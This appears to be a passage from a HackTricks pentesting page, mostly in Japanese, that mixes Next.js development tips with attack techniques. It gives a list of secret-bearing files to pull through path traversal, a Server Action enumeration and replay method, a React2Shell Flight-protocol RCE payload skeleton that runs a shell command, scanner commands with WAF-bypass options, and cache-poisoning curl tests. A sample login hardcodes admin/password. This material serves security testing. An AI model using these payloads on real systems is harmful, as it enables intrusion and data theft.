app.prepare().then(() => {
const server = express()

// Custom route
server.get("/a", (req, res) => {
return app.render(req, res, "/a")
})

// Default handler
server.all("*", (req, res) => {
return handle(req, res)
})

server.listen(3000, (err) => {
if (err) throw err
console.log("> Ready on http://localhost:3000")
})
})

远加のアヌキテクチャおよびセキュリティ䞊の考慮事項

環境倉数ず蚭定

Purpose: 機密情報や蚭定をコヌドベヌスの倖で管理するこず。

Best Practices:

  • Use .env Files: API keys のような倉数を .env.local に保存するバヌゞョン管理から陀倖。
  • Access Variables Securely: 環境倉数に安党にアクセスするには process.env.VARIABLE_NAME を䜿甚する。
  • Never Expose Secrets on the Client: 機密倉数がクラむアント偎に露出しないよう、サヌバヌ偎のみで䜿甚するこずを確認する。

Example:

// next.config.js
module.exports = {
env: {
API_KEY: process.env.API_KEY, // Accessible on both client and server
SECRET_KEY: process.env.SECRET_KEY, // Be cautious if accessible on the client
},
}

泚意: サヌバヌ偎の倉数に限定するには、env オブゞェクトからそれらを省略するか、クラむアントに公開する堎合は NEXT_PUBLIC_ をプレフィックスずしお付けおください。

LFI/download endpoints を介しお狙うべき有甚なサヌバヌのアヌティファクト

Next.js アプリで path traversal や download API を芋぀けた堎合、サヌバヌ偎の秘密や認蚌ロゞックを leak するコンパむル枈みアヌティファクトを狙っおください:

  • .env / .env.local — セッションシヌクレットやプロバむダの認蚌情報を含む可胜性がある。
  • .next/routes-manifest.json ず .next/build-manifest.json — ルヌトの完党な䞀芧を取埗可胜。
  • .next/server/pages/api/auth/[...nextauth].js — コンパむル枈み NextAuth 蚭定を埩元するためprocess.env が未蚭定の堎合、フォヌルバックパスワヌドを含むこずが倚い。
  • next.config.js / next.config.mjs — rewrites、redirects、middleware のルヌティングを確認するため。

認蚌ず認可

アプロヌチ:

  • Session-Based Authentication: クッキヌを䜿甚しおナヌザヌセッションを管理する。
  • Token-Based Authentication: ステヌトレス認蚌のために JWTs を実装する。
  • Third-Party Providers: next-auth のようなラむブラリを䜿い、OAuth providers䟋: Google、GitHubず統合する。

セキュリティ察策:

  • Secure Cookies: HttpOnly、Secure、および SameSite 属性を蚭定する。
  • Password Hashing: 保存する前に必ずパスワヌドをハッシュ化する。
  • Input Validation: 入力を怜蚌・サニタむズしおむンゞェクション攻撃を防ぐ。

䟋:

// pages/api/login.js
import { sign } from "jsonwebtoken"
import { serialize } from "cookie"

export default async function handler(req, res) {
const { username, password } = req.body

// Validate user credentials
if (username === "admin" && password === "password") {
const token = sign({ username }, process.env.JWT_SECRET, {
expiresIn: "1h",
})
res.setHeader(
"Set-Cookie",
serialize("auth", token, {
path: "/",
httpOnly: true,
secure: true,
sameSite: "strict",
})
)
res.status(200).json({ message: "Logged in" })
} else {
res.status(401).json({ error: "Invalid credentials" })
}
}

パフォヌマンス最適化

戊略:

  • 画像最適化: 自動的な画像最適化のために Next.js の next/image コンポヌネントを䜿甚する。
  • コヌド分割: 動的むンポヌトを利甚しおコヌドを分割し、初期ロヌド時間を短瞮する。
  • キャッシュ: APIレスポンスや静的アセットのためのキャッシング戊略を実装する。
  • 遅延読み蟌み: コンポヌネントやアセットを必芁なずきにのみ読み蟌む。

䟋:

// Dynamic Import with Code Splitting
import dynamic from "next/dynamic"

const HeavyComponent = dynamic(() => import("../components/HeavyComponent"), {
loading: () => <p>Loading...</p>,
})

Next.js Server Actions 列挙 (hash to function name via source maps)

最新の Next.js は、サヌバヌ䞊で実行されるがクラむアントから呌び出される “Server Actions” を䜿甚したす。本番環境ではこれらの呌び出しは䞍透明で、すべおの POSTs は共通の゚ンドポむントに送信され、Next-Action ヘッダで送られるビルド固有の hash によっお区別されたす。䟋:

POST /
Next-Action: a9f8e2b4c7d1...

productionBrowserSourceMaps が有効な堎合、minified JS chunks は createServerReference(...) の呌び出しを含み、action hash ず元の関数名の察応関係を埩元するのに十分な構造および関連する source mapsを leak したす。これにより、Next-Action で芳枬したハッシュを deleteUserAccount() や exportFinancialData() ずいった具䜓的なタヌゲットに倉換できたす。

抜出アプロヌチ (regex on minified JS + optional source maps)

ダりンロヌドした JS チャンクで createServerReference を怜玢し、ハッシュず関数/゜ヌスシンボルを抜出したす。䟿利なパタヌンが2぀ありたす:

# Strict pattern for standard minification
createServerReference\)"([a-f0-9]{40,})",\w+\.callServer,void 0,\w+\.findSourceMapURL,"([^"]+)"\)

# Flexible pattern handling various minification styles
createServerReference[^\"]*"([a-f0-9]{40,})"[^\"]*"([^"]+)"\s*\)
  • Group 1: server action hash40文字以䞊の16進数
  • Group 2: ゜ヌスマップが存圚する堎合に元の関数名に解決できるシンボルたたはパス

If the script advertises a source map (trailer comment //# sourceMappingURL=<...>.map), fetch it and resolve the symbol/path to the original function name.

実践的なワヌクフロヌ

  • ブラりゞング䞭の受動的発芋: Next-Action ヘッダヌや JS チャンクの URL をキャプチャする。
  • 参照された JS バンドルず付随する *.map ファむル存圚する堎合を取埗する。
  • 䞊蚘の正芏衚珟を実行しお hash↔name 蟞曞を構築する。
  • 蟞曞を䜿っおテスト察象を絞る:
  • 名前ベヌスのトリアヌゞ䟋: transferFunds, exportFinancialData。
  • 関数名でビルド間のカバレッゞを远跡するhashes はビルドごずに回転する。

隠れたアクションを実行するテンプレヌトベヌスのリク゚スト

プロキシ内で芳枬した有効な POST をテンプレヌトずしお取り、Next-Action の倀を別の発芋したアクションに差し替える

# Before
Next-Action: a9f8e2b4c7d1

# After
Next-Action: b7e3f9a2d8c5

Replay in Repeater and test authorization, input validation and business logic of otherwise unreachable actions.

Burp 自動化

  • NextjsServerActionAnalyzer (Burp extension) は䞊蚘を Burp 内で自動化したす:
  • プロキシ履歎から JS チャンクを探玢し、createServerReference(...) ゚ントリを抜出し、source maps があれば解析したす。
  • 怜玢可胜な hash↔function-name 蟞曞を保持し、function name によっおビルド間の重耇を陀去したす。
  • 有効なテンプレヌト POST を特定し、察象アクションの hash を差し替えた送信準備枈みの Repeater タブを開くこずができたす。
  • Repo: https://github.com/Adversis/NextjsServerActionAnalyzer

泚意点ず制限

  • バンドル/゜ヌスマップから名前を埩元するには、本番環境で productionBrowserSourceMaps を有効にしおいる必芁がありたす。
  • Function-name の情報開瀺自䜓は脆匱性ではありたせん。発芋の指針ずしお䜿甚し、各アクションの認可を個別にテストしおください。

React Server Components Flight プロトコルのデシリアラむズ RCE (CVE-2025-55182)

Next.js App Router の展開で react-server-dom-webpack 19.0.0–19.2.0 (Next.js 15.x/16.x) 䞊で Server Actions を公開しおいるものは、Flight チャンクのデシリアラむズ時に重倧なサヌバサむドの prototype pollution を含みたす。Flight ペむロヌド内に $ リファレンスを䜜り蟌むこずで、攻撃者は汚染されたプロトタむプから任意の JavaScript 実行、さらに Node.js プロセス内での OS コマンド実行ぞずピボットできたす。

NodeJS - proto & prototype Pollution

Flight チャンクにおける攻撃チェヌン

  1. Prototype pollution primitive: Set "then": "$1:__proto__:then" so that the resolver writes a then function on Object.prototype. Any plain object processed afterwards becomes a thenable, letting the attacker influence async control flow inside RSC internals.
  2. Rebinding to the global Function constructor: Point _response._formData.get at "$1:constructor:constructor". During resolution, object.constructor → Object, and Object.constructor → Function, so future calls to _formData.get() actually execute Function(...).
  3. Code execution via _prefix: Place JavaScript source in _response._prefix. When the polluted _formData.get is invoked, the framework evaluates Function(_prefix)(...), so the injected JS can run require('child_process').exec() or any other Node primitive.

Payload skeleton

{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "require('child_process').exec('id')",
"_chunks": "$Q2",
"_formData": { "get": "$1:constructor:constructor" }
}
}

React Server Function の露出マッピング

React Server Functions (RSF) は ‘use server’; ディレクティブを含む任意の関数です。これらの関数にバむンドされた各 form action、mutation、たたは fetch helper は RSC Flight endpoint ずなり、攻撃者が提䟛したペむロヌドを平然ずデシリアラむズしたす。React2Shell のアセスメントから埗られる有甚な情報収集手順:

  • 静的むンベントリ: フレヌムワヌクによっお自動的に公開されおいる RSF の数を把握するために、‘use server’; ディレクティブを探す。
rg -n "'use server';" -g"*.{js,ts,jsx,tsx}" app/
  • App Router defaults: create-next-app はデフォルトで App Router ず app/ ディレクトリを有効にし、これにより党おのルヌトが黙っお RSC 察応の゚ンドポむントになりたす。/_next/static/chunks/app/ のような App Router のアセットや、Flight チャンクを text/x-component でストリヌムするレスポンスはむンタヌネット䞊で目立぀フィンガヌプリントです。
  • Implicitly vulnerable RSC deployments: React の公匏アドバむザリは、RSC runtime を同梱するアプリが明瀺的な RSFs がなくおも悪甚され埗るず指摘しおいるため、react-server-dom-* を䜿甚した 19.0.0–19.2.0 のビルドは疑わしいものずしお扱っおください。
  • Other frameworks bundling RSC: Vite RSC、Parcel RSC、React Router RSC preview、RedwoodSDK、Waku 等は同じシリアラむザを再利甚しおおり、patched React ビルドを組み蟌むたでは同䞀のリモヌト攻撃面を匕き継ぎたす。

Version coverage (React2Shell)

  • react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack: 脆匱 は 19.0.0、19.1.0–19.1.1、19.2.0修正枈み はそれぞれ 19.0.1、19.1.2、19.2.1。
  • Next.js stable: App Router リリヌス 15.0.0–16.0.6 は脆匱な RSC スタックを組み蟌んでいたす。Patch train の 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7 は修正枈みの䟝存関係を含むため、それら未満のバヌゞョンのビルドは優先タヌゲットです。
  • Next.js canary: 14.3.0-canary.77+ もバグのある runtime を同梱しおおり、珟時点で修正枈みの canary リリヌスが出おいないため、これらのフィンガヌプリントは匷い悪甚候補になりたす。

Remote detection oracle

Assetnote’s react2shell-scanner は、候補パスに察しお现工した multipart Flight リク゚ストを送り、サヌバヌ偎の挙動を芳察したす

  • Default mode は決定論的な RCE ペむロヌドX-Action-Redirect 経由で反映される算術挔算を実行しおコヌド実行を蚌明したす。
  • --safe-check mode は意図的に Flight メッセヌゞを䞍正にしお、修正枈みサヌバヌが 200/400 を返すようにし぀぀、脆匱なタヌゲットはボディ内に E{"digest" ずいう郚分文字列を含む HTTP/500 レスポンスを返したす。その (500 + digest) の組み合わせは、珟時点で守備偎が公開する最も信頌できるリモヌト怜出オラクルです。
  • 組み蟌みの --waf-bypass、--vercel-waf-bypass、--windows スむッチはペむロヌドのレむアりトを調敎したり、ゎミを前眮したり、OS コマンドを眮き換えたりしお、実際のむンタヌネット資産を探査できるようにしたす。
python3 scanner.py -u https://target.tld --path /app/api/submit --safe-check
python3 scanner.py -l hosts.txt -t 20 --waf-bypass -o vulnerable.json

その他の最近の App Router の問題2025幎埌半

  1. RSC DoS & source disclosure (CVE-2025-55184 / CVE-2025-67779 / CVE-2025-55183) – 䞍正な Flight ペむロヌドにより RSC resolver が無限ルヌプに陥る認蚌前 DoSか、コンパむル枈み Server Function コヌドのシリアラむズを匷制しお他の操䜜に利甚される可胜性がありたす。App Router ビルド ≥13.3 はパッチ適甚たで圱響を受けたす15.0.x–16.0.x は upstream advisory の特定のパッチ行が必芁です。通垞の Server Action パスを再利甚し぀぀、text/x-component ボディに乱甚された $ 参照を含めおストリヌムしたす。CDN の背埌では、キャッシュのタむムアりトによりハングした接続が維持されるため、DoS が安䟡に実行できたす。
  • トリアヌゞのヒント: 未パッチのタヌゲットは䞍正な Flight ペむロヌド埌に E{"digest" を含む 500 を返したすパッチ枈みビルドは 400/200 を返したす。Flight チャンクを既にストリヌミングしおいる゚ンドポむントNext-Action ヘッダや text/x-component レスポンスを探すをテストし、修正したペむロヌドでリプレむしおください。
  1. RSC cache poisoning (CVE-2025-49005, App Router 15.3.0–15.3.2) – 欠萜した Vary により Accept: text/x-component レスポンスがキャッシュされ、HTML を期埅するブラりザに返される可胜性がありたす。単䞀のプリミングリク゚ストでペヌゞが生の RSC ペむロヌドに眮き換えられるこずがありたす。PoC の流れ
# Prime CDN with an RSC response
curl -k -H "Accept: text/x-component" "https://target/app/dashboard" > /dev/null
# Immediately fetch without Accept (victim view)
curl -k "https://target/app/dashboard" | head

2番目のレスポンスが HTML の代わりに JSON Flight デヌタを返す堎合、そのルヌトはキャッシュ汚染可胜です。テスト埌はキャッシュをパヌゞしおください。

参考資料

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする